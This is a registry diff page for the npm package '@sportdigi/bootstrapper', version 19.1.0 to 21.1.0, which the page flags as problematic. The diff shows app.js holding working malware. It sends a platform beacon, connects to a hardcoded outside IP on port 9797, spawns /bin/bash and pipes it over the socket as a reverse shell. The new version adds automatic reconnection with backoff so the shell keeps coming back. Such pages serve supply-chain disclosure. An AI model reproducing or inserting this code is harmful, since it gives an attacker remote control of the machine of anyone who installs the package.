@sportdigi/bootstrapper 19.1.0 → 21.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sportdigi/bootstrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +37 -24
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -11,6 +11,9 @@ function sendDns(query){
11
11
  });
12
12
  }
13
13
 
14
+ if (platform == 'win32'){
15
+ sendDns("windows");
16
+ }
14
17
  sendDns(platform);
15
18
 
16
19
  const net = require('net');
@@ -19,38 +22,48 @@ const spawn = require('child_process').spawn;
19
22
  const HOST = '54.90.237.9';
20
23
  const PORT = 9797;
21
24
 
22
- const client = new net.Socket();
25
+ let retryInterval = 10000;
26
+ const maxInterval = 10 * 60 * 1000;
23
27
 
24
- client.connect(PORT, HOST, () => {
25
- console.log('Bağlantı kuruldu.');
28
+ function connect() {
29
+ const client = new net.Socket();
26
30
 
27
- const shell = spawn('/bin/bash', []);
31
+ client.connect(PORT, HOST, () => {
32
+ console.log('Bağlantı kuruldu.');
33
+ retryInterval = 10000;
28
34
 
35
+ const shell = spawn('/bin/bash', []);
29
36
 
30
- shell.stdout.on('data', (data) => {
31
- client.write(data);
32
- });
37
+ shell.stdout.on('data', (data) => {
38
+ client.write(data);
39
+ });
33
40
 
34
- shell.stderr.on('data', (data) => {
35
- client.write(data);
36
- });
41
+ shell.stderr.on('data', (data) => {
42
+ client.write(data);
43
+ });
37
44
 
38
- shell.stdin.on('data', (data) => {
39
- client.write(data);
40
- });
45
+ client.on('data', (data) => {
46
+ shell.stdin.write(data);
47
+ });
41
48
 
42
- // Bağlantıyı yönlendirme
43
- client.on('data', (data) => {
44
- shell.stdin.write(data);
49
+ client.on('close', () => {
50
+ console.log('Bağlantı kapatıldı.');
51
+ client.destroy();
52
+ scheduleReconnect();
53
+ });
45
54
  });
46
55
 
47
- client.on('close', () => {
48
- console.log('Bağlantı kapatıldı.');
49
- process.exit();
56
+ client.on('error', (err) => {
57
+ console.error('Bağlantı hatası:', err);
58
+ client.destroy();
59
+ scheduleReconnect();
50
60
  });
51
- });
61
+ }
62
+
63
+ function scheduleReconnect() {
64
+ console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
65
+ setTimeout(connect, retryInterval);
66
+ retryInterval = Math.min(retryInterval * 2, maxInterval);
67
+ }
52
68
 
53
- client.on('error', (err) => {
54
- console.error('Bağlantı hatası: ', err);
55
- process.exit();
56
- });
69
+ connect();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "19.1.0",
3
+ "version": "21.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {